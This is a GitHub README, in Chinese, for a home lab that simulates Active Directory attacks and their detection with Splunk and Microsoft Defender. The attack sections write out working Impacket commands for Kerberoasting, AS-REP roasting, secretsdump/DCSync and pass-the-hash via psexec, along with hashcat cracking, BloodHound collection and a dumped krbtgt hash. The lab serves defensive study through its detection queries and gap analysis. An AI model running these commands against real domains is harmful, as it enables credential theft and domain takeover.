DurgaRamireddy/Active-Directory-Attack-Detection-Lab---Splunk-SIEM-Microsoft-Defender

# Active Directory 攻击与检测实验室 - Splunk SIEM + Microsoft Defender **工具：** Impacket · BloodHound · Splunk · Microsoft Defender for Business · Windows Server 2022 · Windows 10 · Kali Linux · VMware Workstation **MITRE ATT&CK：** T1558.003 · T1558.004 · T1550.002 · T1003.006 · T1069 · T1087 **类型：** 家庭实验室 · 蓝队 · SOC 分析 · Active Directory · 身份攻击 · SIEM 检测 ## 概述 本项目模拟了针对企业域环境的完整 Active Directory 攻击链，随后从防御者和分析师的角度调查产生的证据。该实验室在之前的 Caldera C2 检测实验室基础上，增加了一个针对身份的攻击层——针对 Kerberos、凭据存储和 AD 复制协议，这些攻击不会在端点留下痕迹。 该项目的目标是回答前一个实验室提出的问题：Microsoft Defender for Business 漏掉了数据暂存和归档，因为这些技术低于其检测阈值。什么填补了这一空白？一个配置正确、经过优化的审计策略和 Windows 事件 ID 监控的 SIEM。 **本实验室端到端演示的内容：** 1. 在 DC 上配置高级审计日志记录，使身份攻击可见 2. 在服务账户上注册 SPN 以启用 Kerberoasting 3. 在 DC 和工作站上部署 Splunk Universal Forwarders——构建实时 SIEM 流水线 4. 验证 Microsoft Defender for Business 与 SIEM 层同时处于活动状态 5. 使用 Impacket 和 BloodHound 从 Kali Linux 执行五种 AD 攻击技术 6. 使用针对性的 SPL 查询在 Splunk 中调查每次攻击的证据 7. 记录什么触发了警报、什么没有以及原因——进行正式的检测差距分析 ## 实验室架构 ``` ┌─────────────────────────────────────────────────────────────────┐ │ VMware Host-Only Network │ │ 192.168.255.0/24 │ │ │ │ ┌──────────────────┐ ┌──────────────────────────────┐ │ │ │ Windows Server │ │ Kali Linux │ │ │ │ 2022 │ │ Impacket + BloodHound │ │ │ │ DC: lab.local │◄────────►│ 192.168.255.135 │ │ │ │ 192.168.255.130 │ │ Attacker Machine │ │ │ │ AD DS / DNS │ └──────────────────────────────┘ │ │ └──────────────────┘ │ │ │ │ │ │ Domain │ │ ▼ │ │ ┌──────────────────────────────────┐ │ │ │ Windows 10 (CORP-PC01) │ │ │ │ desktop-4fnnse5.lab.local │ │ │ │ 192.168.255.132 │ │ │ │ Domain-joined · MDE Onboarded │ │ │ └──────────────────────────────────┘ │ │ │ │ │ │ Splunk Universal Forwarder (port 9997) │ │ ▼ │ │ ┌──────────────────────────────────┐ │ │ │ Ubuntu — Splunk SIEM │ │ │ │ 192.168.255.131:8000 │ │ │ │ Index: wineventlog │ │ │ └──────────────────────────────────┘ │ │ │ │ ┌──────────────────────────────────┐ │ │ │ Microsoft Defender for Business │ │ │ │ security.microsoft.com │ │ │ │ Cloud EDR · Incident Portal │ │ │ └──────────────────────────────────┘ │ └─────────────────────────────────────────────────────────────────┘ ``` | VM | OS | IP | 角色 | |---||---|---| | Windows Server 2022 | Server 2022 | 192.168.255.130 | 域控制器 (lab.local) | | Windows 10 | Windows 10 22H2 | 192.168.255.132 | 受害端点 (已加入域) | | Kali Linux | Kali Rolling | 192.168.255.135 | 攻击者机器 | | Ubuntu | Ubuntu 22.04 | 192.168.255.131 | Splunk SIEM | | Cloud Portal | Microsoft Defender | security.microsoft.com | EDR 检测层 | ## 攻击前设置 ### 1. DC 上的高级审计日志记录 默认情况下，Windows 不会记录 AD 攻击生成的事件 ID。这些策略在运行任何攻击之前已启用，以确保 SIEM 能够看到攻击活动。 ``` auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable auditpol /set /subcategory:"Logon" /success:enable /failure:enable auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable ``` ### 2. 服务账户上的 SPN 注册 在两个服务账户上注册了 SPN 以使 Kerberoasting 成为可能——模拟运行 Web 和数据库服务的真实环境。 ``` Set-ADUser -Identity jsmith -ServicePrincipalNames @{Add="HTTP/corpweb.lab.local"} Set-ADUser -Identity mjones -ServicePrincipalNames @{Add="MSSQLSvc/sqlserver.lab.local"} ``` ### 3. Splunk SIEM 流水线 Splunk 部署在 Ubuntu 上，DC 和 CORP-PC01 上均安装了 Universal Forwarders，将 Windows 安全日志实时发送到 `wineventlog` 索引。 **Ubuntu 上的接收器 (端口 9997)：** ``` sudo /opt/splunk/bin/splunk enable listen 9997 -auth admin:password ``` **每台 Windows 机器上的 inputs.conf：** ``` [WinEventLog://Security] index = wineventlog disabled = false start_from = oldest current_only = 0 checkpointInterval = 5 ``` **每台 Windows 机器上的 outputs.conf：** ``` [tcpout] defaultGroup = default-autolb-group [tcpout:default-autolb-group] server = 192.168.255.131:9997 ``` **结果：** 两台主机在 Splunk 中确认，在攻击开始前已索引 4,774+ 个事件。 ``` index=wineventlog | stats count by host ``` ``` host count WIN-I4UHLQF702E 4298 DESKTOP-4FNNSE5 476 ``` ### 4. Microsoft Defender for Business 在攻击之前，已确认 CORP-PC01 在 Defender 门户中处于活动且已入列状态。DC 出现在门户中但未完全入列，这一发现在 Pass-the-Hash 攻击期间变得意义重大。 ## 执行的攻击 ### 攻击 1 - Kerberoasting (T1558.003) **工作原理：** 任何经过身份验证的域用户都可以请求注册了 SPN 的账户的 Kerberos 服务票据。DC 使用服务账户的密码哈希加密这些票据。攻击者将票据完全离线并破解它——没有帐户锁定，没有进一步的网络联系，没有引起怀疑。 **命令：** ``` impacket-GetUserSPNs lab.local/jsmith:'Password@123!' \ -dc-ip 192.168.255.130 -request -outputfile kerberoast-hashes.txt ``` **结果：** 捕获了 jsmith 和 mjones 的两个哈希。两者均破解为 `Password@123!`。 ``` hashcat -m 13100 kerberoast-hashes.txt smalllist.txt --force # 状态：已破解 — 2/2 (100%) ``` **Splunk 检测：** ``` index=wineventlog EventCode=4769 Ticket_Encryption_Type=0x17 | table _time, Account_Name, Service_Name, Client_Address | sort -_time ``` 从 192.168.255.135 触发了两个事件 ID 4769，加密类型为 0x17 (RC4)。会话中的所有合法流量都使用 0x12 (AES)。来自非域 IP 的用户账户请求 RC4 是其指纹特征。 **Defender：** 无警报。纯网络攻击，没有端点痕迹。 ### 攻击 2 - AS-REP Roasting (T1558.004) **工作原理：** 当在账户上禁用预身份验证时，DC 在响应身份验证请求时不需要提供身份证明。攻击者仅使用用户名（无需密码）请求该账户的 AS-REP。加密的响应可以离线破解。 **设置：** ``` Set-ADAccountControl -Identity mjones -DoesNotRequirePreAuth $true ``` **命令：** ``` impacket-GetNPUsers lab.local/ -usersfile users.txt \ -dc-ip 192.168.255.130 -format hashcat -outputfile asrep-hashes.txt ``` **结果：** 在未提供任何凭据的情况下捕获了 mjones 的哈希。jsmith 和 Administrator 被拒绝，因为这些账户仍然需要预身份验证。 **Splunk 检测：** ``` index=wineventlog EventCode=4768 Pre_Authentication_Type=0 | table _time, Account_Name, Client_Address | sort -_time ``` 从 Kali 的 IP 触发了事件 ID 4768，Pre_Authentication_Type=0——确认未提供或不需要凭据。 **Defender：** 无警报。 ### 攻击 3 - Pass-the-Hash (T1550.002) **工作原理：** Windows NTLM 身份验证传输的是哈希而不是明文密码。Pass-the-Hash 直接使用原始哈希进行身份验证——无需破解。攻击者从一台机器窃取哈希，然后以该用户身份向另一台机器进行身份验证。 **步骤 1 - 从 DC 转储哈希：** ``` impacket-secretsdump 'lab.local/Administrator:Admin@123!'@192.168.255.130 ``` **结果：** 提取了所有域哈希，包括 Administrator、krbtgt、jsmith、mjones、sadmin 以及两个机器账户。 **步骤 2 - 仅使用哈希进行身份验证：** ``` impacket-psexec -hashes 'aad3b435b51404eeaad3b435b51404ee:7c6cab7ad63589567f0f1692851e0875' 'Administrator@192.168.255.130' ``` **结果：** ``` C:\Windows\system32> whoami nt authority\system C:\Windows\system32> hostname WIN-I4UHLQF702E ``` 域控制器上的完整 SYSTEM shell——从未使用或破解过密码。 **Splunk 检测：** ``` index=wineventlog EventCode=4624 Logon_Type=3 | rex field=_raw "Source Network Address:\s+(?\S+)" | where src_ip="192.168.255.135" | table _time, Account_Name, src_ip, ComputerName | sort -_time ``` 在几秒钟内从 192.168.255.135 作为 Administrator 触发了七个登录类型 3 事件——程序化身份验证模式，而非人类行为。 **CORP-PC01 上的 Defender：** 静默阻止了 psexec payload。返回 `STATUS_VIRUS_INFECTED` 错误。未引发门户警报——自动修复，分析师零可见性。被记录为检测差距。 **DC 上的 Defender：** 未完全入列。攻击成功，无 EDR 覆盖。 ### 攻击 4 - DCSync (T1003.006) **工作原理：** 域控制器使用 DRSUAPI 协议复制凭据数据。DCSync 通过模拟 DC 并向真实 DC 请求复制所有凭据数据来滥用此协议，真实 DC 会予以配合，因为复制是合法行为。 **命令：** ``` impacket-secretsdump 'lab.local/Administrator:Admin@123!'@192.168.255.130 -just-dc ``` **结果：** 通过 DRSUAPI 复制提取了每个账户的 NTLM 哈希和 Kerberos 密钥——包括 krbtgt。 ``` krbtgt:502:aad3b435b51404eeaad3b435b51404ee:993431c01d50acd33362d46341e41c2c::: ``` krbtgt 哈希使得 Golden Ticket 攻击成为可能——为拥有任何权限的任何用户伪造的永不过期的 Kerberos 票据。这代表了永久性的域沦陷。 **Splunk 检测：** ``` index=wineventlog EventCode=4662 | table _time, Account_Name, Properties | sort -_time ``` 在几毫秒内触发了 24 个事件 ID 4662，全部行使复制 GUID `{19195a5b-6da0-11d0-afd3-00c04fd930c9}` (DS-Replication-Get-Changes-All)。爆发模式将自动化的 DCSync 与合法的计划 DC 复制区分开来。 **Defender：** 无警报。 ### 攻击 5 - BloodHound AD 枚举 (T1069, T1087) **工作原理：** BloodHound 通过 LDAP 查询 AD 以收集域中的每个用户、组、计算机、GPO、ACL 和 会话关系。然后，图分析会识别出每个通往 Domain Admin 的权限提升路径——单独看起来无害但共同构成完整沦陷路径的权限链。 **命令：** ``` bloodhound-python -u jsmith -p 'Password@123!' \ -d lab.local -dc WIN-I4UHLQF702E.lab.local -ns 192.168.255.130 -c all ``` **结果：** ``` Found 1 domains Found 2 computers Found 7 users Found 52 groups Found 2 GPOs Found 19 containers Done in 00M 04S ``` 仅使用 jsmith 凭据在 4 秒内映射了整个域。 **Splunk 检测：** 无。零事件。 **Defender：** 无。 **为什么没有触发：** BloodHound 使用 LDAP，而不是 Kerberos 或复制协议。配置的审计策略涵盖 Kerberos 和目录复制，而不涵盖 LDAP 查询量。捕获 BloodHound 需要 LDAP 查询日志记录、网络级检测或 Microsoft Defender for Identity。 ## 检测摘要 | 攻击 | MITRE | 事件 ID | Splunk | Defender | |---|---|---|---|---| | Kerberoasting | T1558.003 | 4769 (0x17) | ✅ 已检测 | ❌ 无警报 | | AS-REP Roasting | T1558.004 | 4768 (PreAuth=0) | ✅ 已检测 | ❌ 无警报 | | Pass-the-Hash | T1550.002 | 4624 (Type 3) | ✅ 已检测 | ⚠️ 静默阻止 | | DCSync | T1003.006 | 4662 (replication) | ✅ 已检测 | ❌ 无警报 | | BloodHound | T1069/T1087 | None | ❌ 无警报 | ❌ 无警报 | ## 检测差距 **差距 1 - BloodHound 完全不可见** LDAP 枚举在 Splunk 或 Defender 中产生了零事件。攻击者仅使用 jsmith 凭据在 4 秒内映射了整个域，没有留下任何证据。这是实验室中发现的最关键差距。 **差距 2 - Defender 静默修复了 psexec** 当 Defender 在 CORP-PC01 上阻止 psexec payload 时，它自动进行了清理，但未引发门户警报。处理队列的分析师永远不会知道尝试过横向移动。没有通知的静默修复是一个可见性差距。 **差距 3 - DC 未完全入列到 Defender** 域控制器——任何 AD 环境中最关键的资产，没有完全入列到 Defender for Business。Pass-the-Hash 和 DCSync 都直接针对 DC，并且没有产生 EDR 警报。 **差距 4 - 允许 RC4 加密** 环境中允许 Kerberos RC4 (0x17)，使得 Kerberoast 哈希可以离线破解。仅强制 AES 并不能阻止票据窃取，但在使用强密码的情况下，使得离线破解在计算上不可行。 **差距 5 - 服务账户密码薄弱** 两个服务账户都使用了 `Password@123!`——可在标准违规词表中找到。哈希立即被破解。在真实环境中，这是 Kerberoasting 后的立即凭据泄露。 **差距 6 - 禁用预身份验证** mjones 启用了 DoesNotRequirePreAuth，允许在零凭据的情况下进行 AS-REP Roasting。除非有记录在案的业务理由，否则绝不应启用此设置。 ## 修复与缓解 **立即（如果是真实事件）：** - 重置 krbtgt 密码两次：一次立即，一次在 10 小时后，以使任何伪造的 Golden Ticket 失效 - 重置所有服务账户密码 - 隔离 Kali 进行身份验证的任何机器 - 审计过去 30 天内所有特权账户的活动 **短期加固：** - 通过组策略强制仅使用 AES Kerberos 加密——禁用 RC4 - 在所有账户上重新启用预身份验证 - 实施组托管服务账户 ——自动轮换的 240 字符密码 - 将 DC 完全入列到 Defender for Business - 配置 Defender 对所有修复操作发出警报，而不仅仅是主动威胁 **长期检测改进：** - 部署 Microsoft Defender for Identity——专门用于在身份层检测 Kerberoasting、AS-REP Roasting、DCSync 和 LDAP 枚举 - 在 DC 上启用 LDAP 查询日志记录 - 根据本报告中的检测查询构建 Splunk 警报 - 定期以防御者身份运行 BloodHound，以主动发现并关闭权限提升路径 ## SPL 检测查询 ``` # Kerberoasting - RC4 ticket 请求 index=wineventlog EventCode=4769 Ticket_Encryption_Type=0x17 | table _time, Account_Name, Service_Name, Client_Address | sort -_time # AS-REP Roasting - 不需要预认证 index=wineventlog EventCode=4768 Pre_Authentication_Type=0 | table _time, Account_Name, Client_Address | sort -_time # Pass-the-Hash - 外部网络登录 index=wineventlog EventCode=4624 Logon_Type=3 | rex field=_raw "Source Network Address:\s+(?\S+)" | where src_ip!="::1" AND src_ip!="-" | table _time, Account_Name, src_ip, ComputerName | sort -_time # DCSync - 复制权限突发 index=wineventlog EventCode=4662 | table _time, Account_Name, Properties | sort -_time # 来自单个外部 IP 的可疑登录量 index=wineventlog EventCode=4624 Logon_Type=3 | rex field=_raw "Source Network Address:\s+(?\S+)" | stats count by src_ip | where count > 5 | sort -count ``` ## 关键发现 | 指标 | 数值 | |---|---| | 执行的攻击 | 5 | | 涵盖的 MITRE ATT&CK 技术 | 6 | | 生成的 Splunk 检测 | 4 | | 生成的 Defender警报 | 0 | | 零检测的攻击 | 1 (BloodHound) | | 破解的哈希 | 2 (jsmith, mjones) | | 获得的最高权限 | DC 上的 NT AUTHORITY\SYSTEM | | 域沦陷级别 | 获得完整 krbtgt 哈希 | ## 遇到的障碍 记录哪些地方出了问题以及如何修复是学习过程的一部分——这些不是失败，而是真实的工程问题。 | 障碍 | 解决方案 | |---|---| | `auditpol` 对“帐户登录”类别失败 | 直接针对各个子类别 | | Splunk forwarder 身份验证失败——密码锁定 | 删除 passwd 文件，在首次启动前重写 user-seed.conf | | Windows 上的 inputs.conf CLI 命令失败 | 通过 PowerShell Set-Content 直接编写 inputs.conf | | CORP-PC01 日志未出现在 Splunk 中 | 干净地重写 inputs.conf，重启 forwarder | | 密码中的 `!` 破坏了 bash 命令 | 将所有凭据用单引号括起来 | | CORP-PC01 IP 已从实验室设置更改 | 运行 ipconfig 查找当前 IP | | CORP-PC01 上的 SMB 防火墙规则被禁用 | Enable-NetFirewallRule -DisplayGroup "File and Printer Sharing" | | Defender 在 CORP-PC01 上阻止了 secretsdump | 改为针对 DC——未完全入列 | | BloodHound DNS 超时 | 添加 -ns 标志直接指向 DC IP | | VMware 在 BloodHound GUI 安装期间崩溃 | 恢复到攻击前快照——通过 JSON 文件确认数据收集 | ## 截图 ### Splunk 检测仪表板 - 攻击 1 & 2 (Kerberoasting · AS-REP Roasting)  *带有 RC4 加密 (0x17) 的事件 ID 4769 确认 Kerberoasting；Pre_Authentication_Type=0 的事件 ID 4768 确认 AS-REP Roasting——两者均源自 Kali IP 192.168.255.135* ### Splunk 检测仪表板 - 攻击 3 (Pass-the-Hash)  *几秒钟内从 192.168.255.135 作为 Administrator 的七个登录类型 3 事件——表明 Pass-the-Hash 横向移动的程序化身份验证模式* ### Splunk 检测仪表板 - 攻击 4 & 5 (DCSync · BloodHound)  *几毫秒内带有 DS-Replication-Get-Changes-All GUID 的 24 个事件 ID 4662 确认 DCSync；BloodHound LDAP 枚举零事件——差距记录在检测差距部分* ## 本实验室如何扩展之前的实验室 [之前的实验室](https://github.com/DurgaRamireddy/enterprise-threat-detection-lab) 发现了一个关键差距——Microsoft Defender for Business 漏掉了数据暂存和归档技术，因为它们低于其检测阈值。结论是：你需要一个带有 Windows 事件日志转发的 SIEM 层来填补这一空白。 本实验室正是构建了该层，并针对基于身份的攻击进行了压力测试。结果证实了这一发现，同时增加了一个新发现：即使拥有配置正确的 SIEM，如果没有 Microsoft Defender for Identity 等额外工具，基于 LDAP 的枚举工具（如 BloodHound）仍然完全不可见。 每个实验室回答一个问题并引发一个新问题。这就是重点所在。 ## 展示的技能 - Active Directory 攻击技术——Kerberoasting、AS-REP Roasting、Pass-the-Hash、DCSync、AD 枚举 - SIEM 部署和流水线配置——Splunk Universal Forwarder、inputs/outputs、索引管理 - Windows 审计策略配置——针对特定事件 ID 的子类别级优化 - SPL 查询编写——跨事件类型的提取、筛选、关联 - 检测差距分析——记录什么触发了警报、什么没有以及原因 - 分层检测架构——SIEM + EDR 协同工作和独立工作 - 事件文档记录——带有时间线、发现和修复措施的正式报告编写 ## 参考文献 - [MITRE ATT&CK 框架](https://attack.mitre.org) - [Impacket 文档](https://github.com/fortra/impacket) - [BloodHound 文档](https://bloodhound.readthedocs.io) - [Splunk Universal Forwarder 文档](https://docs.splunk.com/Documentation/Forwarder) - [Windows 安全事件 ID](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/) - [Microsoft Defender for Business](https://docs.microsoft.com/en-us/microsoft-365/security/defender-business/) **作者：** Durga Sai Sri Ramireddy | 休斯敦大学，网络安全硕士 [](https://linkedin.com/in/durga-ramireddy) [](https://github.com/DurgaRamireddy)

标签：Active Directory, AMSI绕过, AS-REP Roasting, BloodHound, Cloudflare, CTF学习, DCSync, Impacket, Kerberoasting, Microsoft Defender, MITRE ATT&CK, Pass-the-Hash, Plaso, SOC分析, SPL查询, TGT, Windows Event ID, Windows Server, 企业安全, 内网渗透, 威胁检测, 安全运营中心, 实验室环境, 攻防演练, 数据展示, 检测差异分析, 红队, 网络映射, 网络资产管理, 身份攻击